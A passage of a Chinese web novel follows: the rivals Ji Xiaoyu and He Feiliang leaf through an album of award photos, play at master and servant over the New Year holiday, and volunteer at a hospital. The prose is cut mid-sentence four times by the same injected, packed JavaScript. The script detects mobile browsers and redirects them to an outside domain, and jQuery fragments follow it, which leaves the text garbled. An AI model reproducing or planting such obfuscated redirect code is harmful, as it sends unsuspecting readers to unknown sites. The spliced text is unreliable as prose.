每一本书放在此处,似乎都兼为一种艺术品——硬壳的封皮、华丽的质感、矜贵的格调,精美得让人内心纠结——又想占为己有,拿回家贡起来;又担心这些书放在自家那寒磣的书柜里会不会显得有点违和。 嗯,不如把这个书柜也拆了搬走…… 大部分的书都是英文原版。纪小鱼随意地抽出了一本翻看。 嗯……怎么说呢?这里面的插图倒是精美,但内容禁不起细读。一读大脑就好像被施了那个什么“文字认知障碍咒”一样——嘶~突然就只认得些“the”啊、“a”啊之类的单词了。 纪小鱼觉得脑壳有点疼,连忙趁着眼睛打叉之前把这本书合上塞回去了。 呃,才不是我看不懂呢,我只是现在暂时没空罢了! 纪小鱼从鼻腔里“哼”出一口尖酸刻薄的粗气,小声地嘟囔道,“何非亮这个假洋鬼子……嗯,我就和他不一样,我喜欢国学。我还会写诗。” 啊! 李杜文章光焰长,至今照耀在我旁。 我有诗情收不住,随口吟诵便成行! 嘿嘿!我可真是一个小天才啊! 不过,越看着书柜里的书,纪小鱼的眉头便不由地皱得更深些。 这里的每一本看上去也都还很新,新得连一丝多余的褶皱也没有,让人由衷地怀疑,何非亮买书是不是专为着摆来装逼的——啧,他到底认真读过了没有哦? 纪小鱼可太了解一本久经翻阅的书应当是怎样一个沧桑的模样了。 不管再怎么爱惜,多看过几遍以后的书,书页与书页间的缝隙都好像会膨胀一样,从压实的平整变成松散的虚浮;纸张的边角也不免会有着向上卷起的弧度,甚至页边由锋锐到磨出毛边。纪小鱼家书柜里的许多经典宝题,久经反复翻阅,如今就是如此这般的一副模样。有的还翻破了,只好拿透明胶缝缝补补——另一种程度的读书“破”万卷了。 更重要的是,在这一片小小的书海中,纪小鱼竟然一本习题都没有发现。 他不信邪地又从头扫视了一遍书架——还真没有! 啊,奇怪!题呢?怎么没看见! 可恶……何非亮把他的好题都藏在哪儿了呢?真是急死人了! 纪小鱼的目光仔仔细细地划过书架上的书。终于,一本叫做《My Secret》的书吸引了他的目光。 这本书也非常的精致,书名用金色的花体字写就。它放在书架的最高层,乍一看平平无奇。但,仔细一看,就能发现,这本书硬皮的书壳角,有那么一丁点儿磨损的褶皱,而这种痕迹是其他崭新的书上所没有的。 啧,这就显得非常可疑了。 而且,这本书的名字叫“My Secret”,翻译成中文可不就是“我的秘密”吗!?别以为写成了英文我就不认识! 纪小鱼敏锐的洞察力告诉他,这本书并不简单。 他伸长了胳膊,够下了这本沉甸甸的书。 一翻之下,他傻了眼。原来这竟然是一本相册! 每个人的家里也许都会有这么一本从岁月里传承下来的相册。它有着坚实的外壳,厚厚的一本,里页是透明塑料的面,精心保护着时光的留存。 说起来照相真是一门神奇的技艺,它让瞬间变成永恒。它拍下的照片记录着当下,又在很多年后唤醒回忆,成为什么东西存在过的证明。 好吧……如果这是一本普通的相册,那纪小鱼肯定会立刻很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288406|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼貌地把它放回原处。 但是,但是! 很显然这不是一本普通的相册!!! 纪小鱼呆呆地看着相片上的纪小小鱼,看见他哭得很伤心,并且真情实感地哭出了一个透明的鼻涕泡。 纪小鱼:“???” 他陷入了回光返照式的错乱中。 照片上的时间戳帮助着他思考,他掐指一算—— 哦,对,想起来了!这个是他第一次在比赛中遇见何非亮,也是他第一次输掉了胜券在握的比赛。 呵呵,就是从那时候起,他的童年噩梦开始了。 在这张照片里,其实何非亮才是主角,他站在照片的正中,面无表情地举着手里的金杯。纪小小鱼在角落里惨兮兮地抹着眼泪,不知怎么就误入了镜头。 纪小鱼真想发明时光机穿越回去,告诉纪小小鱼——宝贝,别哭啰!弱者的眼泪是没有人同情的!你要学会坚强!坚强知道吗?啊?你问我什么是坚强?坚强就是……呃……就是……呃……总之等你长大了你就知道了!好吧,你先哭吧……有时候能哭也是一种幸福……不过,和你商量一下,能不能别在有人的地方哭啊?特别是有何非亮在的地方!不然你看,你这不就留下黑历史了吗?你倒是不介意,我很难办呀!╮( ̄▽ ̄"")╭ 第二张照片里,纪小鱼也看见了小时候的自己。他耷拉着脸、闷闷不乐地站在领奖台上,脖子上挂着暗淡无光的银牌。不过,他这次总算战胜了自己的脆弱,把眼泪憋在了眼眶里,硬是没有哭出来——纪小鱼为此大松了一口气。何非亮依然是这张照片里最中心、最闪亮的主角。他神色淡淡地站在领奖台的最高处,显出了高人一等的气势,却也看不出来有多高兴。得了铜牌的那个小孩倒是挺开心的,笑得没心没肺。 铁打的一二名,流水的第三名。之后的照片几乎都是何非亮领奖的精彩瞬间,而纪小鱼也一如既往地在旁边“兢兢业业”地当着陪衬。 不得不说,这些相片还收集得挺全的,大大小小的比赛都没有放过。甚至连他们不久以前参加的那个什么商场举办的模特大赛他都留了照片,更近期的还有一千五百米的第一名、篮球赛的冠军、艺术节的第一名…… 呵呵,也对,这是何非亮金光闪闪的胜利史。他这种酷爱装逼的人当然是要不择手段地把它们都收集起来、好好保存,方便在闲来无事时慢慢品味那胜利果实历久弥新的醇香。啊,多么甜蜜,多么诱人,简直欲罢不能! 当然,他也许也会顺便得意地欣赏一下站在他旁边的、失败者的脸——哦,可怜的纪小鱼又得了第二名!真惨!瞧他那摇摇欲坠的笑容,瞧他那张落魄的脸!啧啧啧! 可恶! 什么《My Secret》?这本相册应该叫《My Success》吧——记载着何非亮从小到大的高光时刻!记载着他数不胜数的成功历史!呵呵,别看他领奖的时候云淡风轻、满不在乎,仿佛这些荣誉都只是些过眼云烟、身外之物。这些都是骗人的!以他对这些照片的珍视程度,他领完奖背地里肯定偷偷乐翻啦!对,这才是他的真面目!一个爱慕虚荣的人!一个表里不一的人!一个喜欢装逼的人!哦,对,难怪叫《My Secret》!何非亮的秘密就是他那不愿声张的虚伪!他明明深爱着他的胜利!可他为了装逼不乐意表现出来! 啊啊啊啊啊,恨呐! 这本相册,对于纪小鱼来说,无异于一部血淋淋的战败史、一部屈辱史! 坚强是什么?坚强就是套在心上的铠甲!铠甲上的每一块鳞片,都来自于被生活千锤百炼后磨出的厚茧! 纪小鱼确信自己已经学会了坚强,但坚强绝不代表妥协! 他拿着相册,气冲冲地打开房门。 71.第七十一章 新年气象 纪小鱼决定找何非亮严肃探讨一下关于自己肖像使用的一系列权益问题。但这么大的一个仆人突然间就好像凭空消失了一样——客厅里转了一圈,没有;餐厅里转了一圈,没有;厨房里转了一圈,没有;厕所里面、窗帘后面,也没有。 找了半天,他终于在那间暂借给他的客房里,发现了懒倒在床的何非亮。 嘿!这仆人还真是胆大包天,竟然躲在本少爷的房间里偷懒! 纪小鱼气呼呼地推了推何非亮的肩膀,“喂,醒醒!” 何非亮虚虚地伸出五指,“再睡五分钟。” 纪小鱼闷闷地看着自己的手表,在秒针刚走过五步的时候,就不耐烦地催促道,“诶诶诶,五分钟到了!” 何非亮大概是度过了他人生中最快的五分钟。他揉了揉惺忪的睡眼,坐起身来,目光呆滞地看着纪小鱼。 “我需要一个忠诚的仆人帮我解释一下,”纪小鱼一脸不悦地戳了戳自己手里的相册封面,质问道,“这是什么?” “这个啊……”何非亮的目光略略松动了一下,像是清醒了一点。他斟酌地开口道,“嗯,小鱼少爷,这是一本相册。” “那你看看这里面有什么?”纪小鱼恶狠狠地随意翻开了其中的一页。照片里,纪小小鱼两边的嘴角向下弯出了一个十分委屈的形状。哦,天啊,那简直是一个完美的、半圆形的弧度。他两只手里拿着的是明明是“第二名”的奖状,神情看上去却好像是正拿着一份检讨书一样。何非亮站在领奖台的正中,面上毫无波澜,就差在脸上写“我对得奖没有兴趣”了。 “有相片。”何非亮老老实实地回答。 “相片里面呢?” “有我。” “喂!”纪小鱼对这个回答实在是太不满意了!他垮着脸,把相册一页一页地往后翻,“你再仔细看看,还有什么?” “嗯……”何非亮仔细地端详着相册里的照片,嘴角流露出了一丝欠扁的笑容,“还有我的冠军奖杯、第一名的奖状,哦,还有好多金牌……” 每多说一个名词,纪小鱼就感觉到自己的心里的火苗又往上窜起了一点。 “不过,”何非亮偷眼打量了一下纪小鱼的脸色,清了清嗓子,继续道,“咳咳,我对它们不感兴趣,我把它们都扔家里的储藏室了。小鱼少爷,你喜欢的话,全部都可以送给你的。不过,呵呵,可能就是有点灰,得擦擦……” 噢!我疯了! 一边是何非亮云淡风轻的回答,一边是纪小鱼山崩地裂的心态。 “你、就、没、有、看、见、我、吗!!!”纪小鱼心里的火苗窜上了嗓子眼,逼着他气呼呼地开口。 何非亮连忙又正眼打量了一下相册里的相片,“看见了、看见了,在这呢,小鱼少爷,你第二名。” 纪小鱼直接晕了过去——噢!我是谁?我在哪?我在干嘛?我为什么要自取其辱?天啊,我不是来讨回公道的吗,怎么现在脸这么疼,到底是哪一步做错了? 何非亮接手了相册,在一旁饶有兴味地翻着,从第一页开始。往事重温,尚有余热,他脸上的笑容越扩越大。大概是旧忆美好,禁得起朝花夕拾。 如果世界的诞生出自于偶然,那么这场意外实在是太不可思议。如果世界的起初源于创造,那么这一设计实在是精妙绝伦。渺小如一片树叶也有不可复制的纹路。不起眼的一棵小草也有着伟大坚韧的生命。万物有理,生生不息;星移斗转,四时有序。 时间是另一重的奇迹,它既是度量岁月的单位,也是隔绝今古的屏障。两个人的相遇,非得占据了天时、地利、人和不可。难怪会有人说,“百年修得同船渡”。 而两个人不断地相遇,不得不更让人感叹一声“天道神奇,妙不可言”了。 相册一页一页地往后翻,时间在记忆里流淌,相片里的小人长高长大,五官褪去了稚气,变得英朗,可仔细一看他还是当年的那个孩子。 “好神奇啊,小鱼少爷,”何非亮侧过头仔细打量着身旁眼睛打叉、口吐白沫的纪小鱼,轻声感叹,“你每一次都是第二名呢。” 纪小鱼继续昏死中…… “嗯……”何非亮欣赏地看着照片上几乎一页一个模样、表情格外丰富的纪小小鱼,情不自禁地继续感叹道,“真了不起,你怎么会有这么多的表情呢?” 纪小鱼:“……” 大概五分钟以后,纪小鱼悠悠醒转,意志坚定。 也罢!逆袭的爽文总有黑暗的铺垫,强者的自传也满是困难的挑战。一次的失败算不了什么,一千次的失败也算不了什么。只要还能再站起来,比赛就还能再继续,就算不上真的被打倒! 嗯,对!往者不可谏,来者犹可追!过去的事情已经无法挽回,但还有未来呢! 未来,只要它未曾到来,就事在人为,就充满希望! 嗷嗷嗷嗷,何非亮,你等着!我一定要让你尝尝,什么叫“痛失第一”的滋味!啊哈哈哈哈哈! 嗯……说到这个滋味,肚子好像有点饿了,早餐吃点什么好呢? 好想吃肠粉哦,那种滑滑嫩嫩,里面有饱满大虾的,淋上熟油和黑亮的酱汁,趁着还冒着热气的时候咬下去……嗯~这不是幸福什么是幸福呢?云吞面也好想吃、虾饺也好想吃、烧卖也好想吃、流沙包也好想吃……( ?▽`) “小鱼少爷,”何非亮伸开五指在纪小鱼眼前晃了晃,迟疑地问,“呃……你为什么……看着我流口水哦?” “啊?”纪小鱼回过神来,他眼中何非亮的脸终于从一个白白软软的叉烧包变回了原来的样子。 “咳咳,这个……我、我……”纪小鱼有点不好意思地转移开目光,继而虚张声势地威胁道,“咳,本少爷饿了!你作为我的仆人,还不快点带我去找东西吃!不然、不然我就把你给吃了!” “遵命,小鱼少爷。”何非亮微微一笑,“已经定好座位了,我们今天去喝早茶。” - 吃好喝好精神好! 新的一年里,一愿世界和平、众生无难;二愿家人朋友身体健康;三愿自己能够打败何非亮! 纪小鱼霸占了何非亮的书房,并且充分利用特权,板着脸命令何非亮不许前来打扰。 他独坐在作业堆中,怀抱着雄心壮志,打算大展拳脚。 嗯,先定一个小目标吧,一天之内,要把剩下的所有寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296004|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假作业写完! 纪小鱼把手机静音关进了书桌的抽屉里,清心凝神,默数倒计时—— 三! 二! 一! 开始! 刷啊! 语文的三篇读书报告没能阻拦他刷题的脚步。没时间读书,他就自己编书。先编一个像模像样的标题,再编十来个好词好句,最后再胡乱写上些杂七杂八的感悟,这样就大功告成了。 五篇随笔也不能阻挡他的进度。随笔嘛,不必拘泥。写小事,然后以小见大;写大事,也谈“从我做起”。于是见微可以知著,格物可以致知,大事可以化小,小事可以升华。并且随笔题材不限,内容无羁,笔下可以毫无负担地流淌出字句。纪小鱼洋洋洒洒,不一会儿就把五篇随笔一气呵成地完成了。 文学常识卷子也没有什么压力。这些东西从小到大为了应付那些稀奇古怪的知识竞赛都已经背过好几遍了。他连“古代四大美男之一卫玠的爸爸卫恒擅长什么体的书法”都背过了。 语文作业很快就这么写完了!啧,没有何非亮的打扰,这个刷题速度连纪小鱼自己都忍不住要佩服自己。 嗯……纪小鱼掐着手指数算——数学作业是已经写完了的;分科以后文科作业也再不必写了;物理、化学、生物完成得七七八八了。噢,胜利就在眼前!还剩下……还剩下英语!哎呦,至于英语就有点头疼了,无论如何也写不快,只能慢慢地磨了…… 写了一整个下午,纪小鱼头昏脑胀地打算出去歇歇,找杯水喝。他打开书房的门,听见楼下传来了隐约的歌声。 他悄悄顺着楼梯往下,只见客厅里暮光弥散,而何非亮正坐在微醺的夕阳里,悠闲地拿着吉他自弹自唱—— “ …… See the light, sunshine or moonlight Taste the time, sweet or bitter With the love Moment could be souvenir ” “诶,这歌还怪好听的!”纪小鱼眨了眨眼睛,趴在楼梯半道的栏杆上探出头,“你再唱一遍?我刚才没听清歌词。” 何非亮抬头看见了纪小鱼,脸上浮现出了一丝狡黠的笑容,点点缱绻在眼底闪过。 吉他的伴奏声响起,还是刚才的旋律。 “ I can fly, do you believe me? (纪小鱼冷漠道:“No!”) I have wings, can’t you see it? (纪小鱼再次冷漠道:“No!”) Take my hand I would bring you to Space (纪小鱼翻了个白眼,说“神经!”) ” 何非亮放下吉他,笑得乐不可支。 纪小鱼:“……” 呃……新年新气象,他觉得何非亮的精神状况在新的一年里多少是有一点不太正常了。 72.第七十二章 谁欺负谁 快乐的时光总是短暂的。 人生就像一场戏,纪小鱼的剧本里似乎总是绕不开何非亮这个最大的反派角色。而很遗憾的是,在十年如一日的抗争之中,纪小鱼很不幸的,一直是那个被何非亮摁在地上锤的人。 “大概是先抑后扬。” 纪小鱼总是这样想。 而现在,纪小鱼听完何非亮唱的歌以后,察觉到他这个最强大的对手似乎有一点疯了的迹象。这也许是一个机会,纪小鱼决定再刺激他一下。 “哦,我的仆人,”纪小鱼用夸张的语气命令道,“我突然很想看草裙舞的真人演出,你快去表演给我看。” 何非亮眨了眨无辜的眼睛,“我不会,你教我。” 纪小鱼有点震惊,难得有何非亮不会的东西。 啧啧啧,以前怎么不知道何非亮他这么孤陋寡闻,连草裙舞都不会跳! “你示范一下,我就会了。”何非亮认真地注视着纪小鱼,一副好学上进的模样。 “行吧,”纪小鱼勉为其难地起身,恍如一代宗师,“我只演示一遍,你看好了。” “一、二、三、四,摇摆你的手臂!” 纪小鱼一边跳,一边负责任地讲解着要点。 “二、二、三、四,释放你的灵魂!” “三、二、三、四,注意调动胯部的力量!” “对,笑容,笑容很重要!” “动作可以随意,但一定要有活力!草裙舞的精髓就是活力!” “想象你在海边!有海风,但你要更疯!有海浪,但你要更浪!” “对,再热情一点!” …… 何非亮已经笑晕在了沙发上。 “好了,”纪小鱼收敛了热情活力的笑容,板着脸停止了自己的舞步,“轮到你了,我亲爱的仆人。” 何非亮坐着不动,不紧不慢地开口道,“艺术节你表演这个的话,我就把我的票投给你。” “滚滚滚!”纪小鱼朝何非亮翻了个大大的白眼,不耐烦地催促道,“别废话了,快去跳、快去跳!” “呵呵。”何非亮脸上仍然挂着笑。他伸出手臂,向纪小鱼展示腕上的表,眼底的揶揄浓郁得化不开,“我很抱歉,你的‘小鱼少爷’体验时间恐怕已经结束了。” “啊?”纪小鱼呆了呆,“什么?” 表盘上刀锋似的金属指针闪动着银色的寒芒,映照着纪小鱼苍白扭曲的脸。 而秒针,细细尖尖的一根,每走一步都在扎着纪小鱼脆弱的心。 他陷入了深深的懊悔之中。 好气哦!今天光顾着好好学习了,都没来得及好好使唤使唤何非亮!反而最后还被何非亮给耍了!!! 气死我了!气死我了!对啊!刚才写随笔的时候怎么没想到,可以让何非亮过来帮忙捶背呢?这样既不耽误写作业,还能顺便嘲笑一下何非亮——“哎呦,何师傅,没有劲啊”、“何师傅,大点力呀,是不是没有吃饭”、“何师傅,你在锤吗,我咋感觉不到呢”…… 可是……万一何非亮趁机偷看我写的东西怎么办?我好不容易才掌握的核心写作心得可不能就这样被他借鉴了! 嗯……那就让他闭着眼睛帮我锤。 不行不行,何非亮才不可能这么老实!让他闭着眼睛帮我锤,他肯定会装作不是故意的,趁机在我的脑袋上打几拳(智力-1,-1,-1……),然后我就会变傻,他就可以少一个强劲有力的竞争对手了…… 啊,这真是太邪恶了!!! 不过,现在不管再想什么,好像也已经来不及了,体验活动已经结束了,下一次机会不知道要等到猴年马月了。这、这实在是太遗憾了……T_T 更难过的是,他为奴为仆的生活又要继续了。 纪小鱼惆怅地望向窗外。 天边的暮色,似是不详——这些天几乎恰好是一年中昼最短、夜最长的日子。 何非亮的嘴角,似在上扬——那是一个邪恶的弧度,昭示着不怀好意的阴谋正在酝酿。 纪小鱼的第六感警示他——啧,何非亮肯定又要开始搞事情了! 果然,何非亮耀武扬威地倚靠在了沙发上,脸上更换上了十分的嚣张的神情。 “我的耳朵不太舒服,”他斜睨了一眼搁在地上的吉他,懒洋洋地吩咐道,“需要一个充满艺术细菌的仆人唱首歌来听听。” “呵,”纪小鱼咬着牙,露出了一个狰狞的笑容,反叛的念头在他的身体中发酵、膨胀,“如果我说‘不’呢?” 纪小鱼在心里给自己鼓劲—— 对呀!我,纪小鱼,天资聪颖、气宇不凡、才高八斗、学富五车,钟天地之毓秀、为万物之灵长,是历史上还没有来得及记载的杰出战略家、战术家、音乐家和诗人,多么优秀,多么帅气,多么高贵,多么迷人!我怎么能轻易向何非亮低下头颅呢?我非要向他说“不”,用我勇敢的声音! “对不起,”纪小鱼冷漠地补充道,“没有如果,我的意思是——我不!” “唔,”何非亮淡定地从茶几上拎起一大串银闪闪的钥匙,故作沉思状地自语道,“我记得这里有一把钥匙,是走廊垃圾房的……” 纪小鱼一个激灵,突然就想起了他如今正——非常不幸地——处在寄人篱下、被人拿捏的境况之中。 但是,这又如何呢? 纪小鱼十分有骨气地开口,“垃圾房就垃圾房,今晚就住垃圾房!” 何非亮耸了耸肩,淡淡地补充道,“垃圾房里有蟑螂,蟑螂也住垃圾房。” 蟑……螂!? 纪小鱼打了个哆嗦。 “哦呵呵呵,”纪小鱼满脸堆笑,“少爷,我和您开玩笑的,我这就唱。您要听什么曲子?” “随便。”何非亮笑呵呵地注视着他。 “好的,”纪小鱼捧起吉他,“一首《随便》送给您。” 何非亮:“……” 轻快的伴奏响起,纪小鱼谄媚地开口唱道—— “祝你生日快乐,祝你生日快乐,祝你生日快乐,祝你生日快乐!” 当然,他刻意地把每一个“祝”字的音都拉平了一点,让它在发音上显得更像是小猪的“猪”。 “呵呵,这是《生日歌》,”何非亮并不领情,笑着摇了摇头,“你要唱的不是《随便》吗?” 纪小鱼瞪圆了眼睛,一句辱骂的话几乎要脱口而出了,还好他及时把他咽了下去。 行! 一个深呼吸之间,纪小鱼再次恶狠狠地拨响了吉他。 OK,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300310|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是在考校我临场发挥的功力吗?那我就让你开开眼界!听好了! 悠扬又熟悉的旋律响起,恍惚如街头小巷那些年一起听过的歌。 “ 外婆家有只小毛狗 总是爱随地大小便 自由快活 干什么都洒脱 它天生就爱随便 也拿它没办法 天地本不是谁的凭什么管它 外婆家有只小毛狗 它说它就偏爱随便 要听什么歌它也说随便 反正命运总是没得选 不如就都交给随便 与其盼望着什么不如先随便[1] …… ” 何非亮干咳一声,闪闪发亮的钥匙串在他的手里摇晃着,发出清脆的恐吓。 什么,何少爷不满意吗? 纪小鱼连忙切歌,手里的伴奏换了一个深沉动人的调子继续—— “ 这首歌就叫随便 不许反对有意见 是你叫我唱随便 我就来随便唱啦 记忆中的小傻瓜 不知不觉长大啦 今天是你的生日 我就不欺负你啦 (何非亮冷笑道:“谁欺负谁哦!”) 祝你生日快乐 从今往后每天都平安喜乐 平时学习别太累 考试成绩马马虎虎就行啦 祝你生日快乐 世界虽然很大但你开心最大 卷来卷去没必要 考试成绩马马虎虎就可以啦[2] ……╮( ̄▽ ̄"")╭ ” 纪小鱼揣摩着何非亮脸上的表情,看着他要笑不笑的样子,大概还算是勉强满意吧? “我想吃蛋糕。”何非亮懒懒地把手边的手机递了过来,纪小鱼看见了屏幕上面琳琅满目的蛋糕图案,每一个看上去都十分精致诱人,“帮我选一个,然后你就可以先退下了。” 纪小鱼的目光飞快地滑过一个个方格子里盛放着的蛋糕:双重朱古力、草莓红丝绒、焦糖霓虹柚子、榛果炭烧咖啡、香浓开心果曲奇……忍不住咽了口唾沫。 “少爷,”纪小鱼激动地问,“可以全选吗?” “不行。”何非亮残忍地拒绝这个请求。 “少爷,”纪小鱼退而求其次,“那可以选最贵的吗?” “可以。”何非亮眼皮也不抬,终于有了那么一丁点少爷的气度,“支付密码是942698,你下单就好。” 这真是梦幻的一天。 纪小鱼心里想。 也许是一个好兆头呢?新年的第一天可以过得这么开心! 寒假作业差不多写完了,只剩下了一大堆的英语报纸;妈妈大概完全原谅了他忘带钥匙的行为,还给他发了一个大大的红包让他照顾好自己;蒋小胖说他买彩票中了两百块,打算回来以后请他去吃柴爸炸鸡;吕天明的朋友圈一改被迫加入数学集训班后怨天尤人的画风,有了点浪漫的迹象,大概是突然爱上了数学;高手兄回复了他的消息,祝他“有一个美好的现在和未来”。 一个美好的现在和未来。 纪小鱼抬头憧憬着。 73.第七十三章 修炼脸皮 驾车奔走兮我主沉浮; 所过之处兮灰尘全无! 先扫一屋兮而后扫天下; 愿凭此生兮还浊世清白! 噢! 好好玩哦! 纪小鱼神气地驾驶着软磨硬泡从保洁阿姨那里借来的电动拖地车,觉得自己实在是威风极了。 何非亮在远处微笑地望着他,目光中带着深切的关爱——那是关爱智障的眼神。 今天是新年的第二天,本该是日程满满当当的一天。然而所有的计划都暂时搁置,因为要先把学校要求的义工工时趁着寒假完成。 非常确定的一点是,如果他们在高二下学期开学之前,还没有完成规定的义工时长,迎接他们的,将一定会是严老师“超可怕凶暴虎之愤怒の杀气目光”……当然,这个目光落在何非亮的身上时会稍微温柔一点。 一大早,纪小鱼和何非亮就准时准点地出现在了市中心医院的大厅,穿上了热情洋溢的义工马甲。一起来做义工的还有另外三个同学,不过互相都不认识。他们看见戴着口罩的何非亮,似乎都不约而同地愣了一下。还好,愣完以后他们并没有上前搭话,而是非常有边界感地开始发呆了。 今天的医院称得上是冷冷清清,别提他们没有活干,就连医生也闲下来了。 拖地的路途上,纪小鱼听见了一耳朵还算有趣的闲聊。 “奇怪,今天上午我们科室连一个挂号的病人也没有。” “小赵啊,你是第一年来医院规培吧?这没什么奇怪的,年年都是这样。很多病人春节期间都不愿意来看病,能拖的都拖到节后。等到过了十五,你再看,有得忙啰。” “哦哦,主任说的是。我还担心我是不是要失业了。哈哈。” “哎呀,如果能换来这个世界再无疾病,那失业算什么,我情愿去拖地。你看那边那个拖地的小孩不也挺开心的吗?哎呀,看得我都想去拖一会了。这个什么主任医师不当也罢、不当也罢。” 爱拍马屁的小赵赞道:“主任大义!您境界真的太高了!” 纪小鱼:“哟嚯!拖地真好玩!” …… 又过了十分钟,保洁阿姨追上来,无论如何都不让纪小鱼再继续拖下去了。纪小鱼这才恋恋不舍地从拖地车的宝座上退位让贤。 “我拖的挺干净呀……”纪小鱼小声的嘟囔道。他侧过头看了看一路光可鉴人的瓷砖地板,不知道自己为什么这么快就被赶下来了。 “阿姨,”纪小鱼也不走,并不走,仍然眼巴巴地站在拖地车旁,伸出五指,用商量的语气问道,“再让我拖五分钟可以吗?就五分钟!” “下次吧!领导要来上班啰!”保洁大妈猛踩油门,头也不回地驱车扬长而去了。 纪小鱼遗憾离场,慢腾腾地走回到了何非亮的身旁坐下。 “好无聊哦。”纪小鱼闷闷地打了个呵欠,他扭了扭脖子,抖了抖肩,皱着眉头,嘴里又抱怨了一声,“哎呦,难受!” “哪里难受了?”何非亮撩起眼皮打量了他一眼,“要去挂个号看看么?反正很近。” “不用!”纪小鱼摆了摆手,“我这是老毛病了,不能闲着,一闲下来,就觉得浑身难受,胸闷心慌、呼吸不畅、两眼无神、四肢僵硬、舌根发苦、舌尖发麻……” “精神科。”何非亮冷漠地打断了纪小鱼。 “咳咳咳咳!”纪小鱼像被噎住了一样,呛出了一连串的咳嗽。他一边弯着腰趴在桌子上咳嗽,一边不忘朝何非亮投来了一个大大的白眼。 何非亮“高抬贵手”,象征性地拍了拍纪小鱼的背,显得不那么袖手旁观。他的眼睛弯起了一丝戏谑的弧度,趁着纪小鱼的咳嗽缓了缓以后的宁静里,压低了声音,开口建议道,“不如你跳个草裙舞打发时间吧。” “神经病!”纪小鱼粗暴地驳回了何非亮的建议。 “那玩个游戏?” “什么游戏?”纪小鱼狐疑地看着何非亮,“义工老师说了不可以玩手机、不可以写作业、不可以打牌……” “不玩手机。我们轮流数质数,从2开始,看谁先说不下去。” “好吧,这个有点意思。”纪小鱼抢先说道,“2!” …… 一直到何非亮数到了“997”的时候,终于来活了。义工老师风风火火地走了过来,目光透过椭圆的镜片扫了一眼手里的名单,“嗯,今天一共来了五个,不错。你们几个,小学的题目应该没问题吧?” 纪小鱼觉得这个问题听着有那么点侮辱人——什么叫小学的题目应该没问题?这还用问吗?小学的题目怎么可能有问题?他可是高中生了!还能被小学的问题难倒吗?不可能、绝对不可能!小学的题目必须、肯定没问题呀! 但是旁边的同学就似乎不太捧场了。 何非亮一言不发,不置可否。而其他几个同学则纷纷摇头—— “不一定,小学的题我都忘记了。” “我也是,我要复习一下。” “要看是哪一科……” …… 纪小鱼震惊地看向他们。 他们也震惊地回望向纪小鱼。 “他们两个肯定会。”其中一个小同学大着胆子指认,手指尖在何非亮和纪小鱼身上飞快地划来划去,“我知道他们,我关注了S中的那个公众号,看见过他们两个。” 指着何非亮的时候,小同学说,“他是S中永远的神。” 指着纪小鱼的时候,小同学说,“他也不赖。” 纪小鱼对这个评价表示:“???” “哦?”义工老师的眼睛里很明显地流露出了一丝惊讶和欣赏,“S中的啊,行,你们两个跟我来。”想了想,又把那个指认了纪小鱼和何非亮的小同学也叫上了,“你也一起来。” 一边走,义工老师一边向他们介绍接下来的任务。 “是这样的,我们这里有几个住院的小朋友,需要得到一些学习上的辅导。” “啊?”一起跟来的那个小同学看上去有点愁眉苦脸,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16306998|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都住院了还要学习啊?太惨了吧!” “接受教育是他们的权利,”义工老师正色道,“但他们的这份权利却因为身体上的弱势很难得到保障。对于他们来说,能够有机会去学习是十分难得的。” “哦。”小同学有点不好意思地挠挠头,“对、对不起……我一定好好教他们,如果他们需要我……” “谢谢。”义工老师递给了他一个鼓励的笑容,“我想,你们的帮助,能够让他们更好地为重返校园的那一天做准备。” 走去住院部要经过长长的走廊,小同学的目光里逐渐显露出迷茫—— 求知欲,似乎是生来就有的东西。小时候,好奇这个,好奇那个,什么东西都愿意“打破砂锅问到底”,什么东西都想要尝试着去玩一玩、学一学,会如饥似渴地读一本书,会很有耐心地培育一窝蚕,对探索这个世界似乎有用不完的精力和活力。 但不知不觉,不知从什么时候起,这份求知的心情麻木了、磨灭了。学习成了很重很重的负担,成为了潜意识里默认为痛苦的选项,成为了一件被摁着头皮去做、实际上却很想要逃避的事情。这到底是怎么一回事呢? 